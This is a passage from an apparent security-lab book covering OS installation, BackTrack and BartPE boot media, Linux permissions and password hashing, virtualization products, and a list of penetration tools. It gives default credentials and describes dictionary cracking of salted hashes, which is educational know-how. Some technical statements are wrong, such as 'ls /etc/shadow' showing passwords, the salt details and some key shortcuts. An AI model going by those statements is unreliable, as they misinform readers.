Windows NT
Acceptable for some testing of vulnerabilities but not a
requirement
Windows 2000 Server
Nice to have for demonstrating common vulnerabilities
Windows XP
Widely deployed; considered a must-have
Windows 2003
A must-have; widely used by major organizations
Windows Vista
Nice to have but not a requirement
As the preceding tables make very clear, it is much easier to meet the requirements for Windows XP than it is for Windows Vista. For most of what is demonstrated in this book, Windows XP will work fine. While speaking of hardware,
it is worth mentioning that Microsoft maintains a Hardware Compatibility List
(HCL) at www.microsoft.com/whdc/hcl/default.mspx. This is a good site to
check to make sure that your hardware is compatible before you begin installation. This is even more important if you have purchased used equipment.
If you’re still unsure which software you should invest in, take a look at
Table 2-3. I have compiled a list of must-haves versus nice-to-haves.
Now, let’s look at a quick overview of the steps involved to install Windows
XP. For this install, we are using a bootable CD-ROM.
1. Insert the Windows XP installation CD, and start the computer. You
should see a message that the CD has been detected and get a prompt
to press any key to boot from the CD. Press the spacebar or any key
within five seconds. This will allow the configuration program to load
and prevent the system from attempting to boot from the hard drive.
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2. A message that Setup is inspecting your computer’s hardware configuration appears. The first screen with a prompt allows you to press F6
for SCSI and RAID controllers. For ACPI, you should press F5, which
enables you to select the Hardware Abstraction Layer (HAL) that supports ACPI. It is this screen where you can select another HAL that is
appropriate for your computer.
3. The early stages of installation consist mainly of downloading files
from the CD to the hard disk. This will take a little time and is usually
a good time to go and get something to drink or tend to other duties.
After this step is complete, a screen appears asking whether you want
to install Windows XP. Press Enter to continue.
4. The EULA screen will now appear. It is at this point that you must
accept the licensing agreement to continue the install. After reviewing
the entire agreement, press F8, as shown at the bottom of the screen.
5. After you agree to the licensing terms, you are presented with the partition options. This screen shows partitioned and unpartitioned space.
Whichever option you choose, make sure the system has sufficient
space to install Windows XP and still provides enough room to load
additional tools.
6. After selecting a partition with adequate space, your next choice is to
select the file system to be used on that partition. The options are DOS
and NTFS. NTFS is the preferred option because of the additional security features, and it will allow you to perform the file-streaming exercise
found in Chapter 11, ‘‘Forensic Detection.’’ Select NTFS and allow the
install to continue. A period of time elapses before the next step because
the hard drive must now be formatted to the specifications you defined.
7. If you have been using a Windows XP upgrade CD, you will now be
prompted for the original install media. The system will be looking
for a copy of Windows 9x, Windows NT, or other qualifying OS. If
you are using a full install version of XP, this step is bypassed.
8. You computer will now start for the first time, and the graphical user
interface (GUI) will appear. You are now prompted to select the
regional settings, as shown in Figure 2-1.
9. Next, Windows XP prompts you to personalize your version of Windows. You are asked for such items as your name and business. These
values reappear at various times when you reinstall programs and
applications, so be prudent about selecting funny or humorous business names.
10. You are now prompted to enter the product key. This is the 25-character
serial number that is included with the software. It is formatted as
(XXXXX-XXXXX-XXXXX-XXXXX-XXXXX). You can usually find this
number on the jacket or sleeve that came with the install CD-ROM.
Server OS Installations
Figure 2-1 Regional settings.
11. Now, provide a password for the Administrator account. Make sure
that it is something that you can remember; there is nothing worse
than completing an install just to realize that you cannot access the system. You also need to pick a computer name at this step. The computer
name should be something unique.
12. Setup now asks for the current date, time, and time zone. If this computer connects to the Internet, you can simply select the correct time
zone and later make sure that XP synchronizes with an Internet
time provider.
13. Hopefully, you installed a network interface card (NIC) in the computer, and if so, you are prompted by setup to let it configure the card’s
settings. If you need a static IP, you can configure this now. If you are
using a DHCP server, you can allow XP to auto-configure the card.
14. You are nearing the end of the install. Windows will reboot and apply
the system’s chosen screen resolution. The system will also attempt to
access the Internet to complete product activation. You can delay this
process for up to 30 days, but after that time, the OS will no longer be
fully functioning.
15. You have now installed Windows XP. The welcome screen will now
appear, as shown in Figure 2-2.
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Figure 2-2 Welcome screen.
With Windows installed, let’s now look at some of the other operating
systems we might want to install.
Linux
Linux is a Unix-like OS that can run from your Intel-based PC just like the
Microsoft Windows OS. Linux was originally created by Linus Torvalds with
help from programmers from around the world. If you’re new to Linux, it
is definitely an OS that you should get to know more about. The benefits to
using Linux are that it is economical, well designed, and offers good performance. Linux distributions are easily available and can typically be
downloaded for free. Linux comes in many flavors, including Red Hat,
Debian, Mandrake, Suse, and so on. Specialized versions have been developed
for a specific purpose. Some of these include Knoppix, Trinux, and BackTrack.
The best way to learn Linux is just by using it. That is why there is a copy
of BackTrack Linux included on the enclosed DVD. It is included as an ISO
image. You can use the image to install BackTrack Linux onto a system or
make a bootable DVD. For more information, check out Appendix A, ‘‘About
the DVD.’’ If you are looking for other versions of Linux that have been
customized for security work and/or to build your own security lab, review
the list at www.frozentech.com/content/livecd.php.
Server OS Installations
Figure 2-3 Bootable security distributions of Linux.
Linux is open source, which means that it can be freely distributed, and you
have the right to modify the source code. Linux is also easy to develop your
own programs on. This is one of the reasons you will see many security tools
released on Linux well before they ever debut in the Windows world. This
section of the chapter takes a closer look at installing Linux and reviews some
of the basics.
The easiest way to start using Linux is by using one of the bootable versions of
Linux. As mentioned previously, www.frozentech.com/content/livecd.php
has a good list that contains many of the most common distributions. You will
find links to each specific version’s web site, as shown in Figure 2-3.
After you have selected any single distribution, you are taken to that
version’s download page.
As shown in Figure 2-4, I selected the Knoppix-STD distribution. Notice
how an MD5sum is shown. It’s important to verify this value whenever you
download software because this provides some assurance that the tool has not
been tampered with or altered in any way.
Whether you download Knoppix-STD or use BackTrack as supplied on the
enclosed DVD, you still need to perform an additional step or two to make
the ISO useable. The first thing you need to do is to convert the ISO into a
bootable disk. For this install, we are using a bootable CD-ROM; no installation
to your hard drive is required.
To convert and use and ISO file on the enclosed DVD or one that has been
downloaded from the Internet, you need the following:
A CD/DVD writer
A blank CD-ROM
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Figure 2-4 Knoppix-STD MD5sum.
A burning program capable of burning an ISO onto a CD
The capability to change your computer’s BIOS to boot from the
CD-ROM
A variety of Windows programs convert ISOs into bootable CD-ROMs,
including NERO Ultra Edition, ISO Recorder Power Toy, and Roxio Easy
Media Creator Suite. If you have access to Max OS X or a Unix/Unix-like
workstation, these tools are already built in to the base operating system.
Now, let’s look at a quick overview of the steps involved to complete this
process.
1. If you are using the version of BackTrack included on the disc and you
have only one CD/DVD, you need to copy BackTrack onto your hard
drive before burning to a blank CD. Otherwise, you can burn the image
directly from the second CD-ROM drive.
N O T E Although operating systems such as Windows XP have the
capability built in to burn CDs, it will not convert an ISO image to a bootable
CD. To accomplish this, you need to download and install the ISO Recorder
Power Toy (mentioned previously), which will activate the capability in
Windows XP.
2. Regardless of which tool you are using, open the application and select
Burn Image to CD-ROM. When prompted for the image, select
bt2final.iso. If you are prompted to Burn Disk at Once or to Track at
Once, choose Burn Disk at Once.
3. When you have completed burning the CD, restart your computer while
leaving the BackTrack CD in the CD-ROM drive. You might have to
change the boot order in the BIOS by pressing F2 or the Del key during
bootup.
Server OS Installations
4. After you have your computer set to the proper boot order, continue to
allow the computer to start up.
5. Start BackTrack and get familiar with the interface. You will notice that
there are many tools and applications. Some of these are discussed in
later chapters.
Tools worth checking out include Nmap, which is discussed in Chapter 4,
‘‘Detecting Live Systems.’’ You can read more about it there, or you can
check out the developer’s web site at www.insecure.org. Chapter 4 introduces
you to Xprobe, a handy tool that allows you to fingerprint the operating
system of a targeted system. Chapter 6, ‘‘Automated Attack and Penetration
Tools,’’ introduces you to Metasploit, an automated attack and penetration
tool. Besides exploring the tool in the Linux distribution you just installed, you
can also get more information at the Metasploit site at www.metasploit.com.
Navigating in Linux
With BackTrack installed, let’s spend a few minutes discussing the basic
structure of the OS and how it differs from Microsoft Windows. Some of the
primary differences include the following:
Linux is case sensitive — Whereas Windows is not case sensitive, Linux
is. What this means is that the files FAQ.txt and faq.txt are two different files.
Linux directory and files have ownership permissions — Linux uses
the Chmod command to set permissions on files and directories. These
can be restricted by user, group, and all others. Windows really has no
equivalent to this command.
Regular Linux users cannot change system settings — In the world
of Linux, the all-powerful user is root. The root account has the ability to control critical settings. The closest thing that Windows has is the
Administrator account.
Linux partitions are not based on FAT or NTFS — Linux creates partitions using the Ext3 file system, whereas Windows uses NTFS or FAT
partitions.
Linux path names contain forward slashes — Unlike Windows, where
a path might be C:\Winnt\system32, in Linux the path is /var/log.
Linux was developed for a multi-user environment — This is much different from Windows because Windows evolved from DOS, which is a
single-user operating system.
Linux does not use drive letters — Whereas Windows uses drive letters,
such as A:, C:, and D:, Linux contains everything within a single unified
hierarchical structure.
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The Linux file system is the structure in which all the information on the
computer is stored. Files are stored within a hierarchy of directories. Each
directory can contain other directories and files. Some of the more common
directories found on a Linux system are as follows:
/ — Represents the root directory
/bin — Contains common Linux user commands, such as ls, sort, date,
and chmod
/dev — Contains files representing access points to devices on your sys-
tems. These can include floppy disks, hard disks, and CD-ROMs
/etc — Contains administrative configuration files, the passwd file, and
the shadow file
/home — Contains the user’s home directories
/mnt — Provides a location for mounting devices such as CD-ROMs and
floppy disks
/sbin — Contains administrative commands and daemon processes
/usr — Contains user documentation, graphical files, libraries, and a
variety of other user and administrative commands and files
Directories and files on a Linux system are set up so that access can be
controlled. When you log in to the system, you are identified by a user
account. In addition to your user account, you may belong to a group or
groups. Therefore, files can have permissions set for a user, a group, or others.
For example, Red Hat Linux supports three default groups: super users, system
users, and normal users. Access for each of these groups has three options:
Read
Write
Execute
To see the current permissions, owner, and group for a file or directory,
type the ls -l command. This will display the contents of the directory you
are in with the privileges for the user, group, and all others. For example,
the list of a file called mikesfile and the directory mikesdir would look like
the following:
drwxr-xr-x
-rw-r--r--
2 mikeg
1 mikeg
users
users
32162 Aug 20 00:31 mikesdir
3106 Aug 16 11:21 mikesfile
The permissions are listed in the first column. The first letter indicates
whether the item is a directory or a file. If the first letter is d, the item is a directory, as in the first item listed above, mikesdir. For the file mikesfile, the first
character is a dash (-). The next nine characters for the mikesdir folder denote
access and take the following form: rwx|rwx|rwx. The first three list the access
Server OS Installations
rights of the user, so for the mikesdir, the user has read, write, and execute
privileges. The next three bits denote the group rights; therefore, the group has
read and execute privileges for the mikesdir folder. Finally, the last three bits
specify the access all others have to the mikesdir folder. In this case, they have
read and execute privileges. The third column, mikeg, specifies the owner of
the file/directory, and the forth column, users, is the name of the group for
the file/directory. The only one who can modify or delete any file in this
directory is the owner, mikeg.
The chmod command is what is used by a file owner or administrator to
change the definition of access permissions to a file or set of files. The chmod
command can be used in symbolic and absolute modes. Symbolic mode deals
with symbols such as rwx, whereas absolute mode deals with octal values. For
each of the three sets of permission on a file — read, write, and execute — read
is assigned the number 4, write is assigned the number 2, and execute is
assigned the number 1. To make permissions wide open for you, the group,
and all users, the command would be as follows:
chmod 777 demofile
(This value is arrived at by adding 4, 2, and 1 together. Remember that 4
is for read, 2 is for write privilege, and 1 is for execute.)
Linux Basics
The objective of this section is to review some Linux basics. Although a lot of
work can be done from the Linux GUI, you will still have to operate from the
Terminal window or shell. The Terminal window is similar to the command
prompt in Windows. If you log in as root and open a Terminal window, you
should see something similar to this: [root@slax /]#. The # sign is what is
most important here because it denotes that you are root. Root is god in the
world of Linux. You want to make sure that you properly execute commands
while working as root. Unlike Windows, Linux might not offer you several
prompts or warnings before it executes a critical command. It is important that
you know some basic Linux commands and their functions. There are many,
and so for the sake of brevity, Table 2-4 lists just a few basic commands. If all
this talk of Linux commands has left you wanting more, you might want to
spend a few minutes reviewing the more complete list of commands found at
any one of the following sites:
www.mediacollege.com/linux/command/linux-command.html
www.laynetworks.com/linux.htm
http://fosswire.com/wp-content/uploads/2007/08/fwunixref.pdf
Linux requires that user accounts have a password, but by default it will not
prevent you from leaving one set as blank. After installing BackTrack and while
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booting up, note that the default username and password is listed as root and
toor. Linux encrypts the password for storage in the /etc folder. Most versions
of Linux, including BackTrack, use MD5 by default. If you choose not to use
MD5, you can choose DES, although it limits passwords to eight alphanumeric
characters. Linux also includes the /etc/shadow file for additional password
security. Moving the passwords to the shadow makes it less likely that the
encrypted password can be decrypted, because only the root user has access
to the shadow file. If you are logged in as root and want to see the shadow
passwords on your computer, execute the following command:
ls /etc/shadow
Table 2-4 Basic Linux Commands
COMMAND
DESCRIPTION
/
Root directory
cat
Lists the contents of a file
cd
Changes the directory
chmod
Changes file and folder rights and ownership
cp
The copy command
history
Shows the history of up to 500 commands
ifconfig
Similar to ipconfig in Windows
kill
Kills a running process by specifying the PID
ls
Lists the contents of a folder
man
Opens manual pages
mv
Moves files and directories
passwd
Changes your password
ps
The process status command
pwd
Prints the working directory path
rm
Removes a file
rm -r
Removes a directory and all its contents
Ctrl + P
Pauses a program
Ctrl + B
Puts the current program into the background
Ctrl + Z
Puts the current program to sleep
Server OS Installations
Salt
MD5 Hashing
Algorithm
Salt /Password Hash
Clear
Text
Password
Figure 2-5 Linux password creation.
The format of the shadow file is
Account name:Password:Last:Min:Max:Warn:Expire:Disable:Reserved
Linux systems also use salts. Salts are used to add a layer of randomness to
the passwords. Because MD5 is a hashing algorithm, this means that if I used
topsecret for my password and another user uses topsecret for his password,
the encrypted values would look the same. A salt can be one of 4,096 values
and helps further scramble the password. Under Linux, the MD5 password is
32 characters long and begins with $1$. The characters between the first and
second$ represent the salt. Passwords created in this way are considered to
be one-way. That is, there is no easy way to reverse the process. Figure 2-5
demonstrates how Linux creates this value.
SHADOWS VERSUS SALTS
The world of computing used to be a much more trusting place. At one time in
the not-too-distant past, Linux passwords were kept in the passwd file. The
passwd file is world-readable, which basically means that anyone can access or
read this file. This means not only the people or processes you would like to
read it can, but also the bad guys. That is why the shadow file was created.
The shadow file is readable only by root. This helps keep the prying eyes of
unauthorized users from taking a peek at the encrypted passwords when they
shouldn’t be looking at them. Now even if they did get a look at the passwords,
they are not kept in clear text. They are kept in a hashed format. Hashes are
considered one-way functions, as they are easy to compute in one direction yet
very hard to compute in the other. The problem is that two identical words will
create the same hash. That is why salts are needed, as they provide that second
layer of randomness. A complete hash is made up of $1$ SALT $ HASH . The
$1$ refers to the algorithm being used — in this case, the MD5 algorithm.
The salt is stored as the first two characters of the encrypted password. For
example, if 1yAkjfqifnips is the encrypted value, then 1y is the salt. That
value is not only needed for the user to log on but also for the attacker trying to
crack the account. Because the hashing process is one-way, there is no known
way of retrieving the original password from the encrypted version directly.
However, the attacker can extract the salt and use this two-character value to
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SHADOWS VERSUS SALTS (continued)
encrypt with a dictionary of words, and then compare those to the existing
encrypted values. If the password happens to be a word in the dictionary, a
match will be found and the password revealed.
Now that we have discussed some Linux basics, let’s look at some of the
other options available as far as potential operating systems.
Other Operating Systems
Microsoft Windows and Linux are the most common operating systems, and
you really don’t have a choice as to adding these to your lab. But the question
begs to be asked: Should other, less popular operating systems be included? In
my opinion, the answer is yes, if you have the time to devote to learning about
them. The reason is simple: each operating system you learn broadens your
skill set. Now, please don’t misunderstand me and think that I am suggesting
you go out and become a Novell expert. The point is that having basic skills in
diverse operating systems can only help you.
With that in mind, let’s take a look at the following operating systems:
Mac OS X
ReactOS
Windows PE
Mac OS X
The Macintosh has always been considered innovative, ever since its introduction in 1984, but by the late 1990s it was due for an update. This update
occurred by means of Mac OS X. Mac OS X is based on much of the technology
that Apple acquired via its acquisition of NeXT Software. The OS that had
been developed by NeXT Software became the basis for OS X. OS X is a
Unix/FreeBSD-based operating system designed to meet current and future
computing needs. As of the time of this book’s publication, OS X is currently
at version 10.5. With release of 10.4.4, the operating system changed from supporting only PowerPC-based Macs to include Intel-based computers. Before
you get too excited about running MX OS X on your own Intel computer, Apple
has stated that Mac OS X will not run on Intel-based personal computers aside
from their own. With this in mind, OS X would require additional hardware.
You will have to weigh the benefits and costs of investing in this technology.
Server OS Installations
When considering adding the Mac OS, take a look at the corporate environment in which you work. Some industries use Macs more than others. Schools,
advertising agencies, or other industries that must perform graphics, video,
and audio editing typically favor Macs. Some security professionals prefer
Macs over PCs, and a growing number of end users are buying Macs, which
somewhat parallels the growing popularity of the iPod.
ReactOS
Next, there is ReactOS. This unique OS is a free, open source operating system
designed to work like Microsoft Windows XP. The goal of the developers
of ReactOS is to achieve complete compatibility with programs and drivers
developed for Windows devices. This compatibility is to be achieved by using
a similar architecture and providing an interface that is similar to Microsoft
Windows. According to the developers, one of the reasons they pursued this
project is the simple fact that some users will never make the move to Linux
while an open source OS that mimics Microsoft Windows has the potential
to have broad appeal. Although this might have you excited to download
the OS from www.reactos.org/en/download.html, it is important to note that
ReactOS is still in alpha development, which means that it is not considered
complete and is not recommended for everyday use. It is expected to move
into the beta phase by 2008.
ALPHA AND BETA SOFTWARE
The term beta is thought to have originated at IBM during the 1960s. Alpha
tests are the first round of tests performed by the programmers and quality
engineers to get a look at how applications will function. Beta testing comes
next. Beta testing is widely used throughout the software industry. This second
round of product development has evolved to include testing that is performed
internally and externally by prospective users.
While the software is potentially unstable, it is much more user-friendly than
in its alpha stage, and gives the programmers, quality engineers, and users a
good look at how the end product will act and perform. After collecting
feedback from these initial users, the application is typically run through
another round of improvements before it is released in its final form.
Windows PE
Finally, let’s take a look at another variant, derived from Windows Pre-execution Environment, or Windows PE. Windows PE is a CD-based bootable GUI
Windows environment designed for Windows deployment and installation.
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It has lots of interesting uses, but it is bound by Microsoft licensing, which is
its main drawback. Parties outside of Microsoft have worked to harness the
potential of such an environment.
A big potential use for Windows PE is performing some basic incident
response work on a Windows system. If you are unsure whether a system has
malware, spyware, or a virus, booting from a Windows PE CD could be very
useful. Some examples of other uses for a Windows PE disc include using it as
an alternative to MS-DOS as an OS by booting from a CD or USB flash drive,
creating and formatting disk partitions, or accessing network shares.
The primary third-party developer has been BartPE. BartPE stands for
Bart’s Preinstallation Environment. This development tool was developed by
Bart Lagerweij and is available at www.nu2.nu/pebuilder. Bart also runs the
www.bootdisk.com web site. The PE Builder utility available at the previously
mentioned site can be used to generate a CD-based bootable version of
Windows. However, it requires you to have a licensed copy of Windows XP
or Windows 2003, which it extracts the required files from. Once the code
is compiled, the user will have a bootable Windows CD-ROM or DVD that
can run antivirus tools, spyware-detection tools, recovery tools, command-line
tools, security tools, and so forth. This makes Windows PE a useful tool for
detecting and removing malware from Windows systems.
Although BartPE might not be a suitable replacement for the operating systems discussed previously, it can be used for troubleshooting and diagnostics.
Let’s look at the steps to build your own BartPE:
1. You first need to download PE Builder from www.nu2.nu/pebuilder/
#download. Version 3.1.10 is the most current as of the writing of this
book.
2. Once it is installed on you local computer, launch the PE Builder Setup
Wizard, pebuilder.exe. The wizard will create a collection of files and
folders in the c:\pebuilder3.1.10 folder, along with associated shortcuts in the Start menu.
3. When the wizard finishes, you are prompted to accept the licensing
agreement.
4. PE Builder now asks for the location of the Windows installation files.
Remember: you must have a licensed copy of Windows XP or 2003 to
complete the build process. In most cases, this means that you have
placed the original install CD in the computer’s CD-ROM drive.
5. Now, select Burn to CD/DVD.
6. Click the Build button and agree to the Microsoft Windows XP product
agreement. The build process will now commence, and in a few minutes,
your BartPE disk will be completed.
Virtualization
7. Close any open applications and reboot from the CD-ROM to verify
your BartPE disc is functional.
Now that you have seen some options for operating systems, let’s look at
how we can optimize our existing hardware to run the required servers on the
least amount of hardware. That is the object of virtualization.
Virtualization
Virtualization is the process of emulating hardware inside a virtual machine.
This process of hardware emulation duplicates the physical architecture
needed for the program or process to function. Virtualization can include
the following:
Application virtual machines — Software that is written for application virtual machines (VMs) allows the developer to create one version
of the application so that it can be run on any virtual machine and not
have to be rewritten for every different computer hardware platform.
Mainframe VMs — This technology allows any number of users to
share computer resources and prevents concurrent users from interfering with each other. For example, the IBM System/390 falls into this
category.
Parallel VMs — The concept here is to allow one computing environment to be running on many different physical machines. Parallel VMs
allow the user to break complex tasks into small chunks that are processed independently. Projects such as those run by www.distributed
.net and www.seti.org take advantage of this type of technology.
OS VMs — This category of virtual system creates an environment in
which a guest operating system can function. This is made possible
by the ability of the software to virtualize the computer hardware and
needed services. VMware falls into this category of virtualization.
VIRTUALIZATION FOR FUN
Although we all need to get our work done, it’s also import to take some time
out to relax. Virtualization can even help with this because a number of
products can virtualize old arcade games. This is known as arcade emulation
and has been around for quite some time. If you are like me and remember
some of the old arcade classics, you can use emulation, which allows the user
to emulate a standalone arcade console, and play the arcade classics on your
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VIRTUALIZATION FOR FUN (continued)
own computer. Sites such as MAME, www.mame.net, can provide the software
needed to run thousands of classic arcade games. Just remember: you will
eventually need to get back to work!
Products such as VMware, Virtual PC, Bochs, OpenVZ, and XenSource can
all be used to run virtual systems. Basically, a virtual system has the ability
to virtualize all the hardware resources that an OS would normally need.
This includes CPU, RAM, hard disk, network controller, and other resources.
As long as the user has adequate disk space, RAM, and processing power,
multiple VMs can be operating at the same time. Each can share and manage
hardware resources without interfering with other VMs.
VMware Workstation
One of the first companies to develop a virtual product was VMware,
www.vmware.com. They demonstrated this technology and patented it in the
late 1990s. Before this time, development of hardware such as processors had
not progressed enough to make this technology commercially viable for the
average desktop-computer user. VMware would be a good choice to use in
your lab because it enables you to easily test security tools, try out upgrades,
and study for certification exams. Probably the most important consideration
is that more is always better. What I mean by that is more memory, more
hard disk space, more processing power, and faster components always make
for a better base system. You want to maintain a peak resource usage of no
more than 60 percent to 80 percent. Greater usage will cause the systems to
bottleneck and also cause real performance problems. Table 2-5 lists some of
the requirements and specifications of VMware products.
As you can see in Table 2-5, VMware products include VMware Player,
VWware Workstation, and VMware Server. VMware Player runs on Microsoft
Windows and Linux and can open and play any virtual machine created by
another VMware product or by Virtual PC. One good thing about this product
is that it is free. The drawback is that it cannot create a virtual machine.
VMware Server does not suffer from this drawback, but it is not a free product.
Expect to pay around $200 per copy. What you will get for you money is
a VMware product that lets you create and run a host of operating systems
from one base system. You also gain the ability to drag and drop files into the
virtual system and to fully configure the virtual OS. VMware Workstation even
supports an option known as snapshots, which means you can set a base point
to which you can easily return. VMware Server is a much higher-end product;
along with the added cost, VM Server has the highest level of performance.
For the lab setting you are building, VMware Workstation will work fine.
Virtualization
Table 2-5 Basic VMware Specifications
VIRTUAL DEVICE
PLAYER
WORKSTATION
SERVER
CD-ROM
Rewritable
Rewritable
Rewriteable
DVD-ROM
Readable
Readable
Readable
ISO mounting
Yes
Yes
Yes
Maximum memory
4GB
4GB
64GB
Processor
Same as host
Same as host
Same as host
IDE devices
4 max
4 max
4 max
NIC
10/100/1000
10/100/1000
10/100/1000
Video
SVGA
SVGA
SVGA
USB
2.0
2.0
2.0
To install VMware Workstation, you need to purchase a copy or download
an evaluation copy. You need about 25 MB to download and install VMware
Workstation. Just remember that amount of memory is just to load the program. Each virtual system you install will require much more. On average,
you will need 3GB to 8GB for each virtual OS you install. Memory is another
important issue. Although the documentation might state that a minimum of
128MB to 256MB of memory is needed, this typically won’t be enough for
anything more than a basic command-line install of Linux. Expect operating
systems such as Windows to require much more. Insufficient memory will
devastate performance on both the guest (VM) and host OS. Now, let’s look at
the basic steps required to install VMware Workstation on the host OS:
1. Log on to your newly installed Windows XP system as a user with
Administrator privileges.
2. Download the newest VMware Workstation distribution from www.
vmware.com/download and then click it. You need an email address so
that the key can be sent to you. If you do not want to purchase the program at this time, VMware will send you a key that is valid for 30 days.
3. Read the end-user license agreement. This explains the licensing terms.
Click Yes to continue.
4. You are now prompted to set the install location. The default is C:\
Program Files\VMware. Keep this default unless you have a really good
reason to change it.
5. Now, select any folder to install, and click Next.
6. Wait a few minutes while the installer creates all necessary files on your
system, as shown in Figure 2-6.
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Figure 2-6 VMware Workstation installation.
7. Because Windows systems use AutoRun for their CD/DVD players,
the VMware installer will ask whether you want to turn AutoRun off.
You should say yes, because having it on can affect the functionality of
the virtual machines.
8. If you have any previous versions of VMware Workstation, you are
prompted to remove them. You are also prompted to create a VMware
Workstation icon on your Windows desktop. Click Yes when
prompted.
Figure 2-7 VMware Workstation application.
Virtualization
9. As with almost all Windows application installs, you are prompted
to reboot your computer after the installation process is complete.
10. When the system reboots, VMware Workstation is installed. Opening
the program will display a screen similar to that shown in Figure 2-7.
Just because you have VMware Workstation installed doesn’t mean that
you are ready to start loading virtual operating systems. You must first enter a
serial number. Remember that you can get a free, temporary evaluation license
or buy a full license.
From this point forward, it is assumed that you have installed the files in the
default location at C:\Program Files\VMware\VMware Workstation. In addition to a few shortcuts to Workstation, online help, and the uninstaller, you will
find documentation in a compiled HTML help file for Internet Explorer or your
browser located in the Workstation Programs folder: VMware.chm. If you look
in the Programs directory, you will see that there are a number of utility programs and auxiliary files such as linux.iso, windows.iso, and freebsd.iso.
These ISOs contain the information used to install VMware Tools for Linux and
Windows host systems. This will allow you the functionality to do things such
as drag and drop files from the host OS to the virtual system. These files don’t
need to be transferred to actual CDs to use them; VMware will automatically
attach them to the guest system when you perform a tools installation. You are
prompted to do so after you install the virtual OS. The end-of-chapter exercises
step you through the installation of several different types of operating systems
into VMware such as Microsoft Windows and Linux.
VMware Server
If your budget will allow it and you would like to do away with most of your
physical hardware, you might want to consider VMware Server. The advantage
that it offers is that you can build the entire network as shown in Chapter 1,
‘‘Hardware and Gear,’’ with only one physical machine. VMware Server has a
remarkable amount of flexibility when it comes to building a virtual network.
You can build virtual switches, hubs, NICs, and even firewalls. After installing
VMware Server, the next step is to set up your virtual network. To accomplish
this, you will want to log on to the Management User Interface (MUI) and set
up a virtual switch.
A virtual switch is a software hub that routes the traffic of your virtual
machines both internally and between virtual machines on the same physical
host. The virtual switch also routes this traffic externally to the rest of your
lab network and the Internet. Building this switch enables a type of virtual
network known as a VMnet. To set up a VMnet, follow these steps:
1. Start VMware Server.
2. Open the MUI.
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3. Click the Options tab.
4. Click the Network Connections option.
5. Click the Add option in the Overview section.
6. Use the Network Label property to enter a label, such as Network0, or
something more descriptive, such as network lab.
7. Click Create Switch, but do not check any of the network adapters to
bind to this virtual switch.
8. Review the newly created virtual switch.
After creating your VMnet switch, you will want to configure it so that
you will have access to the physical network and other virtual devices. Your
virtual switch can be bound to one or more of the physical NICs on the host
computer.
Each virtual machine’s virtual NIC logically attaches to a port in the virtual
switch. Your virtual machine’s network traffic will be passed to the physical
NICs that are tied to the virtual switch.
1. From the MUI, click the Reconfigure link.
2. Read the contents of this window. It introduces virtual switches, NIC
teaming, and port groups. Clicking the Create link option will take you
to the Create Virtual Switch tab.
3. Under the Bind Network Adapters heading, check which physical
adapters you want to bind to this virtual switch.
4. Choose the Create Switch option. You are presented with the Edit page
for Virtual switch Network0. You can now add or remove physical NICs
from the virtual switch.
Once the switch is configured and virtual MAC and IP addresses are
configured, you will be ready to install the remaining virtual machines. Using
VMnets in such a configuration provides network communication between
virtual machines on the same VMware Server. This technology makes it
possible to build your entire network security lab with only one physical
machine.
Virtual PC
Another virtual machine option is Virtual PC. You can download a copy
from www.microsoft.com/windows/products/winfamily/virtualpc/default
.mspx. Virtual PC was originally developed by Connectix before being bought
out by Microsoft. One of the biggest differences between VMware and Virtual
PC is that Virtual PC does not support third-party products. Basically, this
means that non-Microsoft products such as Linux are not supported. This
Client-Side Tools
does not mean that Virtual PC will not run on Linux; it just means that if you
run into problems, you will be routed to the developer’s web site. This makes
VMware a somewhat better tool for this book because we will be using it to
run Linux.
With the two major commercial products out of the way, let’s now turn
our attention to some of the open source virtualization products. Bochs,
http://bochs.sourceforge.net, is a virtualization product that runs on Linux
and Windows. The big differences between Bochs and the commercial products
are that Bochs is free and is not as fast. Bochs relies more on emulation. This
means that Bochs must run many instructions for each simulated instruction.
Before you get too discouraged by the disadvantages of Bochs, let’s take a
look at OpenVZ, available from http://openvz.org. It is another open source
product and does not suffer from the performance restrictions that Bochs does.
OpenVZ testing shows there are only a few percentage points of performance
loss when using their product. You may be wondering what the catch is. In
this case, it is that OpenVZ can be used only to run virtual Linux servers on a
physical Linux system.
Client-Side Tools
Installing an OS is only half the battle. After an OS has been installed, you
need some client-side security tools to get any real work or exploration done.
Security tools have been around for quite some time. Dan Farmer and Wietse
Venema helped start this genre of software in 1995 when they created one
of the first vulnerability-assessment programs called Security Administrator
Tool for Analyzing Networks (SATAN). This program set the standard for
many tools to follow and made it possible to scan for vulnerable computers
through the Internet and provided a variety of functions in one package.
Although SATAN was a great tool for security administrators, it was also
useful to hackers. That’s the nature of tools; they can be used with good or bad
intentions.
SATAN’S DAYS WERE NUMBERED
In 1995, few network-vulnerability tools existed. That is one reason why SATAN
made waves in the world of network security. The debate at the time centered
on what was the real purpose of the tool. Was it designed for security
administrators to verify security settings or was it for attackers to use to scan
for vulnerable systems that could be hacked easily? This debate was further
fueled by the fact that in 1996 Dan Farmer performed a survey in which he
scanned 2,200 Internet hosts with SATAN and found that more than half were
(continued)
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SATAN’S DAYS WERE NUMBERED (continued)
vulnerable to attack. Not only were these systems scanned without the
permission of the owners, but they were also not the mom-and-pop sites of
the time. Mr. Farmer chose to scan high-profile sites such as banks and major
institutions. To read the report, visit www.trouble.org/survey.
There is also the issue of the name of the program. To address those
concerns, the install package actually contained a program named repent. This
program would actually change all instances of the name ‘‘SATAN’’ to ‘‘SANTA.’’
SATAN was designed to be run from a web browser. This made the tool easy
to use and formatted the results in a summary fashion. While SATAN is
considered outdated by today’s standards, its contribution is that it spawned a
segment of security software that did not previously exist. SATAN lives on today
through such tools as SARA, SAINT, and Nessus.
Today, an untold number of client-side security tools can be used to scan
for vulnerabilities, probe for holes, and assess security. Some of these are
legitimate security tools, and others have been written by hackers or those
without the best of intentions. As a security professional, you probably want a
keep a variety of these tools handy. Just make sure that you have authorization
before using them on a network. The best place to start gathering tools is
http://sectools.org. This site, run by Insecure.Org, lists the top 100 security
tools, and has done so since 2000. Check out the site for a complete listing, but
in the meantime Table 2-6 lists the top 20 as of 2006. (This list is compiled only
once every three years.)
Table 2-6 Top-Rated Security Tools as of 2006
TOOL
DESCRIPTION
Nessus
Vulnerability assessment tool
Wireshark
Packer sniffer
Snort
Intrusion detection
Netcat
Reads and writes data across TCP/UDP connections
Metasploit Framework
Exploitation framework
Hping2
Network probing tool
Kismet
Wireless sniffer
tcpdump
Packet sniffer
Cain & Abel
Password-recovery tool
(continued )
Learning Applications
Table 2-6 (continued )
TOOL
DESCRIPTION
John the Ripper
Password-recovery tool
Ettercap
Man-in-the-middle interception tool
Nikto
Web scanner
Built-in Utilities
Ping/telent/traceroute/whois/netstat
OpenSSH
